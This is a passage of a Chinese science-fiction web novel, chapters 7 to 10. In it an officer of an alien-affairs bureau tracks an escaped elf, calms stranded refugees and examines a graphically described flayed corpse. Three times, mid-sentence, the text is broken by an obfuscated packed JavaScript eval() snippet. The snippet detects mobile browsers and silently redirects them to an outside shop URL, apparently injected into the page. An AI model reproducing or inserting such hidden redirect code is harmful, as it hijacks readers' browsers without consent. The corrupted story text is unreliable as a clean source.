端戊的话被二级警报的报警声打断,神色肃穆的连接了警报系统:康屿安逃匿成功。” 7. 第 7 章 从警报响到确认警报信息,端戊的脸色被泼了墨一样又黑又难看,辛瑙非常识时务的态度良好。 “我又没有犯什么事,如果没有确切证据,是不是可以放我走了?毕竟,您看起来好像还挺忙的,我就不在这占用您宝贵时间了。” 端戊瞪了辛瑙一眼:小崽子长了一身的机灵肉,风凉话都能说的这么懂事!全局就指望我一个人,你说我忙不忙? 不过,小崽子倒是说到点子上了,我这么忙还不是因为就我一个人? 于是,端戊看向辛瑙的眼神,不由多了三分的不怀好意和七分的算计。 辛瑙看着端戊眼中的风云变幻,最后变成定位目标后的猎杀,不由打了个冷战、咬紧了舌头:言多必失,这张破嘴给自己惹的麻烦还少吗?怎么还不长记性呢? “急什么急!你的问题交代清楚了吗?能不能走自己心里没数吗?在这儿老实等着!” “哎?你……”辛瑙坐不住了,舌头都不利索了。 没想到端戊竟被喊住了:“我先去忙点别的事,渴了或者饿了按你面前红色的按钮,想去卫生间按那个蓝色的按钮,会有机器人带你去。”匆匆忙忙的交代完,风风火火的出去了。 只留下目瞪口呆的辛瑙:孩子丢在这儿就不管了吗?一时半会儿的就不回来了吗?我怎么感觉自己是待宰的羔羊,还是那种先喂肥了再宰的那种。 “警官您先回来!我什么都说!说完你先放我走呗!您先回来啊!”辛瑙凄厉、幽怨、撕心裂肺的挽留。 回声穿梭在清异局的各个办公室,各忙各的机器人辅警,不可能给她任何回应。 “谁来救救我啊……我想要回家……”辛瑙呢喃着碎碎念。 她有些后悔:这世上哪来的那么多的飞来横祸,还不是自己嘴欠!手欠!多管闲事! 端戊步履匆匆地跑去外星人着陆登记室,里面的环岛里,只剩下一个机器人笔直地站着,目视前方呈待机状态。 而刚刚自己输入指令的机器人显然是服从指令,带着康屿安去医务室了,端戊丁点未迟疑也未停顿地奔向医务室。 医务室在办公楼一楼的走廊尽头,只有机器人医助,日常可以扫描检查人体的皮外伤进行处置,至于输液,需要输入医生处方以及医嘱指令才行。 医务室里只有四张蓝色的床,床上空荡荡到任何用品都没有。大多数的仪器都是嵌壁式的,不使用时是不打开的。 一根挂吊水的钩子从墙壁上垂柳一样地吊着,所有为机器人配置的岛台都是一样的,两个医助像是摆件一样,待在岛台后面。 目前活动在清异局的都是内勤机器人,需要做的事情都有限,因此,就没有多么的智能,当然,也是从某些其他方面考虑。 比如说,成本。再比如说,防止黑客侵入窃取信息。 通常值外勤的机器人肯定是不能这么木讷的,他们首先要做的就是能识别罪犯,敏捷抓捕,甚至能够审问、对话。 而为了防止黑客,这一类外勤机器人,通常就是常说的四肢发达,头脑简单,它们的这些特征就注定了不会存储过多信息,也不能够连接信息库。 战争时期,上战场的首选也是他们,之前的战场上的批次肯定是没有剩下的了。 看着摆设一样的内勤机器人,端戊无奈的用意识连接工作端,联系总部催促申请外勤机器人的进度。 她突然想起,王校长闲暇时分享过郑局长催促他的视频时,当时端戊还戏谑过郑局长焦虑的样子,现在看来,当时的自己太年轻了,无知愚蠢的可笑。 端戊深深吸一口气为自己回回血,走到两个医助面前手动提取数据,看到有康屿安在这里的消毒、上药和包扎记录,显示伤势登记为二级,既然不是皮外伤,伤筋动骨了? 没有时间多想,端戊赶紧连接整栋大楼的那个时间段关于康屿安的监测系统。 打开悬浮屏,端戊看到画面里医助在为康屿安消毒,画面里断趾处已经感染红肿。 处理伤口时,康屿安原本哭红的巴掌脸现在疼的惨白,却咬紧下唇没吭声也没哭。 端戊这会儿生气着呢,心里不由的吐槽:刚刚不是挺能哭的吗?怎么这会儿该哭的时候反而这么能抗了? 机器人医助毫无情绪处置伤口的好处是,包扎的很快。 端戊看到康屿安颤抖着耳朵和手拿起脏污的小白靴,娇小的鼻子明显皱了皱,蹙起眉的样子像一只小柴犬,端戊在她的脸上看到嫌弃。 穿好靴子后,康屿安就去了卫生间,内勤机器人没有输入指令自然不可能陪同,康屿安在里面呆了很长时间。 端戊久久的凝视着卫生间门口的画面,神情一点点严肃成雕塑。 她从CEDF(地球防御部队)处听说了,这个小精灵会遁地,本来是不信的,可是端戊也确实是从地下城找到了康屿安。 现在看到康屿安进卫生间这么久都没出来,不得不猜想她是不是遁着卫生间的管道逃跑了。 念头一出,肃穆的表情就下意识的抽动:应该不会吧?那到底是卫生间,冲走的那些东西,她应该忍不了吧? 战争期间的清异局办公楼可没有一天是空置的,她应该是知道的吧? 就在端戊忍不住要拉动进度条的时候,康屿安终于出来了,靴子上和裙摆上均有明显的水迹,看来,确实是忍不了,一点点小脏污都忍不了。 她在门口左右看了看,按照出口标志,向门外走去。 直到现在,端戊都没有猜到她到底是怎么跑掉的,即便走出办公楼,没有签字和证件,她也是走不出清异局大院的。 能来清异局的基本没有地球人,而外星球的可就形态各异了,长着翅膀会飞,也不是什么奇怪的事。 因此,清异局戒备之森严,丝毫不次于地球上的特级监狱,四个字:插翅难逃。 此时,端戊的好奇心已经达到了顶峰,她是怎么离开清异局大院的? 她看到康屿安走到门口时,并没有跑,甚至没有东张西望,只是仰头看天空,从太阳的位置推断角度,她应该在看朝暮星。 很明显,她是想家的,但是她却不愿意回,那只有一种可能,那里回不去了。 端戊意识迅速连接星际网,看近期关于朝暮星的新闻,却发现星际网上关于朝暮星的最后一条新闻还是一个月前。 那这一飞船的精灵所谓的去斯洛克星避难,是没有退路的避难? 画面里的康屿安肩膀开始轻微抖动,越来越快,紫色的眼睛像是阀门坏了一样泪水汹涌而出。 她不擦也不动,任由眼泪,洗刷着几近透明的巴掌脸,落在衣襟上,砸在地面上。 端戊心底微动:小妖精从前在她面前都是假哭的啊?这才是带着情绪流泪,小东西心思多、戏也多。 看着康屿安这样一直哭了有十分钟,正担心她会不会哭得脱水昏厥时,眼泪终于止住了。 康屿安贴着右侧绿化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848827|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 带外围的路缘石,沿着里面的枯枝漫无目的走,没有一点要逃跑的讯号,眼睛也是紧随着自己的步伐,没向四周多看一眼。 可是端戊知道,很快就要发生她想知道、甚至能震撼到她的一幕了。 康屿安绕着办公楼右侧那片不规则圆形的绿化带走了两圈后,她站在原地,看着地面。 端戊下意识的向前迈出一步,离悬浮屏更近了些。 传闻再次被验证了,康屿安的脚下是一处排水系统的通道口,可是端戊还是无法相信她能从这逃出去。 这可不是江北星际拦截基地的那破旧的排水口,这是苍蝇跑出去都得折一只翅膀、两条腿的清异局,端戊不相信这么大一个精灵,能从这出去。 然而,端戊对清异局严密性无懈可击的信任,在她上班的第一天就崩塌了。 这可比听说过的那些不靠谱的八卦,比如说哥布林人是秃鹫人下得一个蛋更匪夷所思。 端戊又向前一步,整个人几乎贴在了悬浮屏上,眼睛一眨不眨,医务室安静的只能听见端戊的呼吸声。 康屿安果然没让她失望,接下来发生的事,够她未来说几十年的了。 她站在端戊以为已经干涸了的排水口,半分钟左右,端戊看到她微湿的裙摆轻微的动,接着幅度越来越大,在然后,龙卷风形状的水柱从排水口涌出,康屿安上前一步站上去了。 此时的端戊连眼睛都没眨一下,只见康屿安像是变成了水形态一样,和龙卷水一起慢慢的渗透下去了。 端戊并未察觉到,此时她已经张大了嘴巴,作为一个土生土长的地球人,她承认自己孤陋寡闻了,从小到大的学科学、信科学,她现在只想好好的问问科学,这是怎么个事? 可是这会科学也回答不了她,康屿安去哪了。 来不及关闭悬浮屏,端戊转身跑出办公楼,随着她离院子越来越近,意识距离拉开,悬浮屏信号减弱,慢慢收起不见了。 一直跑到刚刚康屿安站的位置,端戊蹲了下去盯着排水口看着干涸的地下,她想不通,水是从哪来的? 端戊沿着刚刚康屿安走过的路线一圈圈的走,右侧绿化带的一周有六个排水口,她为什么选择的是那一个?显然是经过筛选的。 那个排水口既不是最远的,也不是最近的,而且不居中,为什么是这个? 端戊把意识连接上区地形图,悬浮屏打开地图并没看出个所以然来,她又扩大了到全市地形图,依然没有任何发现。 端戊收起地图,意识打开控境,想先控制住她后再锁定位置,没想到控制失败了。 “小妖精,处处留惊喜啊!比想象中的要聪明很多。” 也不知道人怎么可以自信成这样,能把惊吓当做惊喜的。 人家只是被控两次,就想得到躲避的方法了,显然不是一个容易对付的目标人物。 端戊确实需要缓一缓,现在清异局只能靠她撑起来,再难对付也不能放弃啊。 随意的坐在绿化带旁的路缘石上,手肘撑着膝盖,五指张开把手指插进头发里。 她一个在地球上举目无亲,连路都不认识的小精灵总是跑跑跑的,她能跑到哪去? 咦?她也许举目无亲,也许不认识路,可是她不是有个认识的人吗? 端戊终于理清方向了,猛地从路缘石上站起来,正准备出发,瞳视却收到工作视频。 意识连接后,悬浮屏上的景象顿时让端戊的脑子嗡嗡的。 8. 第 8 章 悬浮屏上,内勤机器人像是被霸凌了一样,被挤到一个角落,端戊甚至在他们没有表情的机器脸上,看到了无措。 应该是星际转乘中心史上最混乱的时刻,竟然发生在端戊上任的第一天,总局第一时间把现场视频转接到她的瞳视上。 转乘中心宁静蓝的等候区里一点不宁静,银色的椅子无一人坐着,嘈乱的人群聚在角落里,把被逼到墙角的机器人团团围住。 他们支棱起来各种颜色小耳朵,气愤且激动地抖动着。 由于所有人的情绪波动过大,语速也是极快的,端戊很难判断小耳朵们到底在激动个什么呢。 瞳视从一片混乱中转接到了总局,悬浮屏里出现一张饱满的国字脸,脸上的皱纹被撑得所剩无几了。 端戊认识的,是总局的老大祁局。 面对清异局初上任的独苗,看得出来祁局很努力地让自己看着亲切一些再亲切一些,尽可能把理解、信任、惜才都挂在脸上。 “小端啊,小小年纪就让你一个人撑起清异局也是辛苦了,外勤机器人经过出厂测试后,就立刻给你送过去,不要有任何心理负担啊,有什么困难直接和我提,总局一定全力支持清异局的。” 祁局满脸堆笑、语重心长地表示关爱,可是老大再温和也是老大,端戊立刻调整了站姿,满脸严肃。 “谢谢领导,请领导放心,我现在就过去看看那边发生了什么,尽快解决,绝对不会出乱子的。” 即使是今天刚刚离开学校,毫无准备地就上任了,可是该担起的责任一定得主动承担,该主动的也一定要主动,老大的言外之音她还是听得出来的。 只能先去处理星际转乘中心的麻烦,康屿安的事情明天再说吧。 一个插曲往往就能改变事态的发展,对于康屿安来说一个晚上可以做很多事情。 离开清异局的第一时间,康屿安并未急着跑,而是机警的躲在排水通道里,找了个安静的地方,思维放空,空到她似乎能感觉到自己的意识已经脱离了身体。 保持这种恍惚的静息态一直休息着,不知道过了多久,她才收回意识、调整身体状态,集中精力调动水意识,和自己意识相融后被带回到地面上。 她先找到一家星际银行的自动取款机,兑换了一些现金。 按照爸爸妈妈透漏的信息,在地球上有困难应该找警察的,但是康屿安现在可不敢招惹警察,弄不好,警察现在反而是在找她呢。 更何况,她要打听的地方,似乎也不适合问警察吧? 康屿安在大街上漫无目的地走,很久没有这样的松弛感了,许多年来出门都是要穿着厚重防护服、带着防护面罩,哪怕是炎热的夏季,也不敢在里面加上通风冷却设备。 她抬头看向朝暮星的方向,血脉相连的直觉让她深信爸爸妈妈都还活着,都还在等她回去。 康屿安从多元钢化的主街道,拐进了一条小巷子。 小巷子的两边种满了银杏树,刚刚经历了战争的城市,树木都被摧残成了风烛老人,只剩下倔强支撑的枝杈。 “小姑娘,重新开张第一天开业,要不要进来看看?”一个苍老年迈的声音斩断了康屿安的思绪。 “好的啊!”康屿安没想到竟还能遇到营业的商家,不管是什么店,她都想进去逛一逛。 这是她第一次来到地球上,还是想要逛一逛地球的街。 想不到,竟是一家洗衣店。地球上都这么卷的吗? “我没有可以换的衣服,可能不需要洗衣服,不好意思。”康屿安看向带着棒球帽也掩盖不住两鬓白发的洗衣店老板,略有些歉意的要离开。 “小姑娘别急着走,我们只是外间做洗衣店,里面还可以服装定制,刚好有一些成品样衣,小姑娘要不要进去看看?” 洗衣店老板喊住康屿安,用手指了指两排挂满套着防尘袋衣服中间狭小的过道。 可以看到,过道里边有一道实木门,门上边有一个挂过牌子的痕迹,想必是掉了还没来得及挂上去。 康屿安顿时有种正打瞌睡就有人送来枕头的感觉,低头看了看裙摆上怎么也抚不平的褶皱,便毫不犹豫的点点头。 “可以啊,那就看看吧。”康屿安也想要看看地球上的定制服装都是什么样的。 棒球帽老板干瘪的脸上绽开一个异常惊喜的笑容,像是一朵开败的花在努力的撑起花瓣。 老板在前面引路,两侧挂着的衣服拂过两个人的肩膀,发出细碎的簌簌声。 走到门口康屿安向侧面让出一步,留出空间方便老板开门,脚下却踩到了什么东西。 低头看到一个木质的牌子,想着应该是原本挂在门上的,康屿安便蹲下去帮着捡起来,却在木牌的角上看到了血迹。 突然一块毛巾从身后盖在她的口鼻上,奇怪的味道冲进鼻息,她想要挣脱、想要站起来却是来不及了,很快便失去了意识。 昏迷前,她突然想到了端戊,她能找到自己吗? 今天怕是不能了,端戊这会儿刚到星际转乘中心。 航天坪上停着大大小小、标有蓝色地球徽章的银色飞船。清异局的车绕过外围,停在了等候中心门口。 还没下车就能远远地听见里面叽哩哇啦的吵闹声,其中还夹杂着哭声,端戊没急着进去,而是驻足在银蓝相间的大门口,屏气聆听里面的声音。 不得不说,传闻中所说的,朝暮星的精灵们向来胆小并不精准,他们更多的是敏感、敏锐。 端戊站在门口,刚刚判断出里面在说不想回去、不要回去,还未获取到更多信息呢,门倏地被拉开了。 端戊以最快速度调整了面上的尬色,快速纠正了探身、歪头、侧耳的动作,双手背在身后、挺直脊背。 门内站着一个齐腰橙色大波浪卷发的精灵,头上顶着一对花枝乱颤的粉色精灵耳,眼睛很大、瞳孔是粉色的。 按照耳朵的颜色来衡量,这也是朝暮星的顶级美精灵了,可是端戊脑中瞬间闪过一对紫色耳朵和一双用娇弱隐藏着倔强的紫眸。 嗯,端戊喜欢紫色,怎么看都好看。 “康屿安是不是跑了?你们没去追她吗?就是那个紫色耳朵的精灵!”粉耳朵的声音有些尖锐,或许是带着情绪吧。 却让端戊感觉到不舒服,也许是这个声线让人焦虑,也许是听出了她问话里的不友好。 粉耳朵看到端戊没有回答,以为她听不懂朝暮星语言,蹙眉重新组织语言,磕磕绊绊地也没拼凑出来一句完整的,端戊作为一个地球人,完全听不懂她到底在表达什么。 端戊侧身从她身边过去,走到大厅的中心,用意识连接到扩音系统,扩音系统扩大了她声音的空灵,反而让所有人忽略了她标准流利的朝暮星语。 “全部安静下来!”清冷的空灵以官方的形态拍在一颗颗焦躁的心上,小耳朵们感觉整个大厅都瞬间降下来三、四度的温度。 世界终于安静下来了。 “我能够理解你们现在的恐慌和无措,你们放心,我们会免费且安全的把你们送回朝暮星。” 被暂时震慑住的小耳朵们你看看我、我看看你,此时,空气中骤降的气流把小嘴巴们都冻起来了。 第一张解冻的小嘴巴是粉耳朵的:“我们不要回去,我们要去斯洛鄂星。” 有了第一个发声的,接着第二张、第三张小嘴巴,一屋子的小嘴巴很快就开团秒跟。 “是的,我们不回去!” “送我们去斯洛鄂星!” 眼见着气氛又要激动起来了,端戊再次沉下脸,声音里也多了一些刚刚学来的绵软中的威慑力。 “根据星际法,我们是没有权利中转,只能送你们返回出发地。” “是你们两星球的战争波及到我们,我们才坠落到地球的,要不然,我们现在已经到斯洛鄂星了!“ 在其他的小耳朵正无措且犹豫着,有些话是说呢还是不说呢,粉耳朵嘴替已经率先说出了大家想说的话。 端戊的余光感觉到小粉耳朵的注视,她并未转头,而把视线雨露均摊的扫向一屋子的小耳朵。 “我们并不会推卸责任,正因为我们有相应的责任,所以我们会负责把你们送回朝暮星,并且负责你们从朝暮星到斯洛鄂星的费用,同时对每个人都会做出合理的补偿。” 端戊虽然刚上任,可是她并不怕胡闹,占理时就摆事实讲道理,不占理时是该赔偿的、还是该补偿的都不会差事,再胡闹就是胡搅蛮缠了,那清异局留下来的手段足够教会他明事理。 “我们不回去,谁稀罕你们的补偿,我们就要去斯洛鄂星。”一个灰耳朵精灵,面色微红,一看就是压抑情绪很久了。 无需质疑,胡搅蛮缠绝对不是最低底线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848828|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 如果放任底线无限低,这个世界能疯癫成、肆意成你想象不到的样子,所以,必须扼杀在胡搅蛮缠阶段。 端戊并未回应,也没有看说话的人,看了一眼手表:快要下班了,这一刻不停歇的一天总算要过去了。 端戊没反应,身后的机器人却动了,出门前刚刚被输入了指令,这会儿,指令被触发了。 机器人步履缓慢沉稳的走向灰耳朵,看得端午略有些着急:要不要和祁局申请,内勤机器人也换一批新的?总有种领着一批退休老干部干活的感觉。 灰耳朵肯定知道机器人的步步紧逼,并不是要奖励他英勇直言,于是下意识的步步后退。 “咚!”,灰耳朵警觉的发现,刚刚还觉得宽敞的大厅,突然间就变得逼仄挤巴了呢,没退多久就撞到了蓝色的墙,紧张压迫感让他的呼吸开始急促困难。 “你,你要干什么……”灰耳朵后知后觉的想起来,身在人家的星球刚刚是不是冲动了点?为什么要做那个出头精灵呢? 机器人秉承了多干活不说话的机器传统,伸出右臂并且延伸出机械臂,机械臂又扩展出环形叉,牢牢的扣在灰耳朵的胳肢窝下。 任凭他如何挣扎都动弹不了一点,所有的小耳朵们都吓坏了,每个小脑袋里都为灰耳朵安排了一个不一样的结局。 有些时候,往往做出最坏的打算,反而会有突入其来的惊喜。 很快,灰耳朵的惊喜来了,他没掉进任何一个小耳朵的脑洞里。 机器人只是把他叉到了半空后,压在了落地窗正对面的墙壁上,整面墙顿时多了一幅立体画。 端戊饶有兴致的看了一会儿:难怪进来的时候,总觉得哪里不对劲,太过于空旷了,嗯,不错,回头在这个位置挂上一面巨幅的国旗。 “对于你们的遭遇,我们深表歉意,对此我们愿意承担相应的责任,但不表示要破坏法规!”端戊看着一群像是被点了哑穴的小精灵们,厉声警告。 能出现在这个大厅里的耳朵们,在自己星球也是横行惯了的,大多时候是在制约之外的。而此时,他们不得不认清事实,他们唯有遵守规则才能活着,而只有活着才有其他的可能。 有些胆小惜命的,这个时候已经捂上嘴巴了。 只有小粉耳朵还想再拼一拼,回去一定死,在地球赌一把倒未必会死,听说地球向来善待外星来客。 “我们回不去了,整个星球都被镉浸透了,我们是最后一批活着的朝暮人。” 端戊心底一惊,面上却不显。她猛地想起了那个紫色的小耳朵,表面上看着是一直示弱的,内心却始终强大的不肯服软。 她不肯回去,却选择逃跑,想用自己的方法达到自己最终目的,总之是不可能放下心里的防线。 端戊竟然有些躁怒:长得像只小鹿,性子怎么就像一头驴呢,她明明有很多机会说的。 “地球警官?”粉耳朵看到端戊并没有置之不理坚持己见,只是呆愣的出神,胆子就又大了一些催促。 端戊看了看粉耳朵心里骂的更凶了:人家长得嘴都能用到正处,紫耳朵的嘴就是用来哭的吗?跑的倒是比谁都快? “你们朝暮人有遁地的异能吗?”关于康屿安的水旋风,端戊还是想寻求个答案。 “遁地?当然不可能,我们和你们相比也就是耳朵和眼睛不同,其他的都是一样的!”粉耳朵顿时睁大了眼睛,很快小脑瓜就转过来了:“康屿安遁地了?!” “别胡乱猜、四处传播,和康屿安有什么关系!目前没有朝暮星的消息,先安排你们在星驿基地暂住,我们先核实消息,若是消息不实,星际法都是有相应处罚的!” 端戊看了看表,时间刚刚好,可以下班。 一众小耳朵可不在意端戊的冰冷,大起大落死里逃生,让他们比任何时候都想活着。 高于飞船里的惊呼声在整个大厅里沸腾起来,就连镶嵌在墙上的临时壁画灰耳朵,都忘乎所以的手舞足蹈。 “嘟嘟嘟……”现在只要是瞳视工作频道的提示音一响,端戊的心就揪紧成一团,更何况,到了下班时间了,她可不想加班。 把悬浮屏开启了隐藏模式,端戊用手指点了右耳耳廓两下,开了耳机系统。 “端局,这里是报警中心,刚刚在蛇头码头发现了一具尸体,疑似是外星人,请您带人出趟现场。” 9. 第 9 章 出现在悬浮屏里的是一张三庭五眼比例很黄金、五官精美绝伦的仿真脸。 若不是为了符合警务人员的严谨,就凭着技术组那七个不服八个不忿的好胜心,报警中心的线上辅警不知道还要美成什么样呢! 端戊面上如常,内心如狗:看来这个警,是非出不可了。 没有让尸体在那等着的道理,而这么大个清异局,局长还要加班出外勤,说出去也算得上辛酸励志题材纪录片了。 “收到,请把出警地址发给我!谢谢!”端戊把碎成八瓣的心收好了,该干活还得干活,该加班还得加班,谁让咱是地球守护者呢! 这种没有头的日子刚刚开始啊! 端戊在翻阅资料时,心却不由得悬上来:根据报警中心传过来的资料,死者在蛇头码头被发现的,身份是朝暮星人,案发现场凶残血腥,尸体难以辨认。 所谓的蛇头码头并非传统意义上的码头,而是隶属于次元易市,也就是黑市的星际偷渡窝点,在这里你只要钱到位了,随时都有飞船可以去你想去的地方。 所以,一个想要偷渡的朝暮星人,很难不让端戊想到康屿安,那个犟种精灵。 真到了蛇头码头,端戊才发现这里和她原本想的还不太不一样,这哪是一个违法违规的据点啊,这就是个宇宙通产业链吧? 整车的法医组机器人没一个能给她解惑的,这个时候,如果身边有个能互动、甚至可以拌几句嘴的机灵小伙伴,是多么的重要啊! 整个航天坪要比清异局的那个大三、四倍,四周环绕着三米高的防震玻璃墙,夕阳余晖落在聚力纹路上,把一侧的玻璃墙切割成赤紫的光带。 一个黑色产业链这么正大光明不怕人看到吗? 还真不怕,人家现在是全国赫赫有名的星际运输公司,宇宙各星球的商业往来全靠人家呢。 买卖做得这么大,肯定早就不缺钱了,干嘛还干些偷渡的营生呢? 这就得提一提当家人白老大了,真实姓名白舍,江湖人称白蛇。人家就是干偷渡起家的,并且说了,做人不能忘本,那么多的老主顾不能弃。 全市的五分之一税收都是由眼前的深空星际运输有限公司承担的,所以说,只要他在法规之内折腾,比如说别把政治要犯倒腾出去,别把地球上的钱倒腾出去,别把文物、机密倒腾出去等等,剩下法律允许内的小打小闹也就不搭理他了。 给他留这么个营生,就当是为他的情怀留个念想了。 而且官方的飞船航线是有限的,有些时候还真需要等,总有些着急的外星人去这去那的,就得来这里了。 玻璃墙内正中间是一栋银灰色的办公大楼,一层是仓库,航天坪左右两边停靠飞船,右边是客舱飞船,左边是货舱飞船。 而那具尸体就是在大院右侧、靠近办公楼仓库区的位置发现的。 清异局的车刚到门口,玻璃门就缓缓地打开了,等候多时的安保人员立刻迎上来。 别看人家起家的营生没一件是能搬上台面的,可如今的白老大可是个文明人,白家百年基业遵守着一个原则:不把任何人逼到绝路上,真有容不下的,最多致残也不允许沾染人命。 现在有人在白家的大院里杀人,还手段如此残忍,若是让白老大知道是谁,必是打断胳膊、腿扔进垃圾站的。 为啥扔进垃圾站?怕把人饿死了。 而眼下,报警无疑是最明智之举。 进院后行驶了大概五分钟,便看到在靠近土豪办公楼的地方,用黑色的遮阳布围起来一圈,上面还撑起来一把超大的黑色遮阳伞。 如果你以为是白家尊重死者那就大错特错了,人家到底是洗白的黑涩会,善意还达不到那个高度。 即便战争期间深空星际运输有限公司都没有停止运输,一半是为军部做辅助服务,一半是不耽误赚钱,他们这种人最知道往往乱世的钱更好赚。 这不,战争刚已结束,人家就做上市准备了,这个节骨眼可不敢有任何不好的影响。 更何况,现场太惨烈太吓人,不遮掩着点是真不行啊! 端戊从车里下来,嗅觉立刻就确认了这个推测,猝不及防扑进鼻息的浓厚血腥味,让她胃里一阵的翻江倒海,险些没压住。 于是,好奇的看向从巡逻车下来面色如常的安保,才发现几个人鼻子里都塞着纸的。 端戊屏住气息、不动声色的往里走,她迫切想要确定死者的身份。 没想到却被法医部机器人拦下来了,出乎意料的递给她一个口罩,一对鞋套。 端戊满眼难以置信的看着手里的东西,竟然瞬间理解了从前的某些不理解。 近几年机器人伴侣开始热销了,这个新鲜产物迅速从网络围观走到现实生活中。她甚至看到隔壁鰥居多年的大爷,突然有一天就领出来一个仿真机器人的大娘,俩人领着机器人保姆,去逛超市了。 她回家还和妈妈八卦了这个事儿,俩人一致认为,机器人再怎么有情绪也是没有情感的,怎么可能带来温暖。 可是就在刚刚端戊憋到差点背过气的时候,她实打实的感受到了机器人给她的暖意,有些事情没有切身体会过,还真的不太好下结论呢。 如此看来机器人养老也不是不可以的,没人气儿的暖意那也是暖啊。 端戊赶紧戴上口罩,先把这口气喘上来再说,什么事儿也大不过好好活着能喘气。 端戊动作麻利地套上鞋套,领着一队机器人进入现场。 尽管有心理准备,可这点儿准备远远不够,她差点没忍住转身出去。眼前是一堆人体形状鲜红的肉,上面挂着黄色固态的油脂。黄红相间中,密布着青灰和暗红色、状若羊肠线一样的静脉和动脉。 死者就那么随意的被扔在那里,姿势怪异的躺在地上,准确来说是泡在地上的血水里,成群的苍蝇在上面也不知道是在聚餐还是在开会。 失去皮肤组织的脸异常恐怖,外露的牙齿突出来,鼻骨歪在了一边,眼睛像是恐怖电影的怪娃娃。 端戊只看了一眼,就再也压不住胃里的闹腾了,硬撑着跑到角落里,吐了个天翻地覆,差一点就把胃吐的翻过来了。 吐到嘴里发苦,估计都是苦胆的味,在心里骂自己没出息,解剖课上什么没见过,这就吐了! 咬紧牙关再次做好了心理建设,猛地转过来让身体先克服障碍。 没想到,就在自己吐苦胆的这一会儿,法医部机器人已经各司其职,拍照的拍照、录像的录像、取证的取证。 有序而忙碌的几个机器人在眼前穿梭,反而让端戊的心定下来了许多,定神看向尸体的脚,好在尸体上仰卧的,两个脚上都是六根脚趾头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848829|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不是康屿安!幸亏刚刚端戊在检测视频里,看到了康屿安的右脚缺失了一根脚趾头。 端戊顿时松了一口气,认真观察这具被剥了皮的尸体、细心取证。 肉眼可见到,死者直到没了气息的那一刻全身才放松,肌肉组织的纤维密度显示,死亡前肌肉曾经呈于高度紧张和缩紧的状态。 全身的皮都被剥掉了,看尸体表面的痕迹,剥皮时用了专门的工具,为了保证皮肤的完整度。 从肌肉上留下的痉挛痕迹来看,整个过程死者是有生命体征的,可以说,手段相当的残忍。 端戊紧抿双唇,双手握拳。熊熊燃起的怒火把刚进入现场时的不适,烧得渣都不剩。 就算是不让人活,也至少给人家一个痛快吧!这么丧尽天良的事情竟然发生在了地球上。 即便死者是朝暮星人,不管他是何种原由来到地球,都是因为相信在海晏河清的地球上能好好活下去的,如今却死的这么惨。 端戊满眼凌厉,所有地球上的外星居住者,都是她的责任,现在她的责任被活剥了,等同于剥了她的脸面,剥了清异局的脸面。 “取证结束,把死者带回去。提取DNA后联系宇宙联邦警察,看看能不能查到死者身份。”端戊发现和法医组配合起来,工作效率还是蛮高的。 如此看来,机器人和机器人之间也不尽相同,差异还是挺大的。 看着满车的机器人,端戊打算尽一个领导应尽的职责,把它们连同死者送回去,虽然它们自己也回得去。 端戊对法医组的工作程序还是非常满意的,毕竟第一次配合,也没那么了解,她不想在上班的第一天留下不必要的隐患。 回到清异局,端戊看着机器人助理有条不紊的把尸袋运进去,让她惊讶的是并没有送进停尸间,而是直接推进了解剖室。 解剖室里早已经有穿戴整齐的机器人等在那里,法医组的医助上前启动了录像设备,人家不需要任何指示的就开始干活了。 原本出于好奇,端戊还旁观了一会儿,看到负责解剖的机器人的双臂,不时的切换出各种切割的工具,且使用后立刻就进行清理消杀,然后收起。 看着看着,端戊就开始觉得不对劲了,嗯这不太需要她。她可不想上班第一天犒劳自己的那一顿没有办法吃了。 打开瞳视先联系了端砚,对方没接听。 按理说小丫头在志愿者中心也应该结束今天的工作了,据她了解那是不提供吃住的,这会儿应该回家了。 于是,端戊又联系了端妈,奇怪的是端妈也没接瞳视,按理说不应该的啊, 端妈是整天混迹于瞳世界的人,不是在里面刷短视频,就是在某个直播间八卦,根本不存在瞳视静音。 一个不好的预感涌上来:不应该啊?也不可能啊! 这会儿,端戊早没了吃饭的心思,想要快点回家又成了问题,公共交通还没正式开通。上午是被程韩接来的,也没开自己的小电龟,总不能让人家再把自己送回去吧? 现在自己好歹也是一局之长,大小也是个领导了,也不知道能不能暂时借用一下公家的车作为私用? 是直接开出去、还是先在系统上报备一下? “救命啊!”一声惊呼,把站在门口转圈圈的端戊,吓得停在了原地。 10. 第 10 章 “救命啊……”惊呼声略显的有点微弱,想必喊的也不是一时半会儿了。 各办公室的内勤机器人没听见一样继续保持待机状态,解剖室的机器人更是没有受到任何干扰的,继续开膛、破腹、敲脑壳。 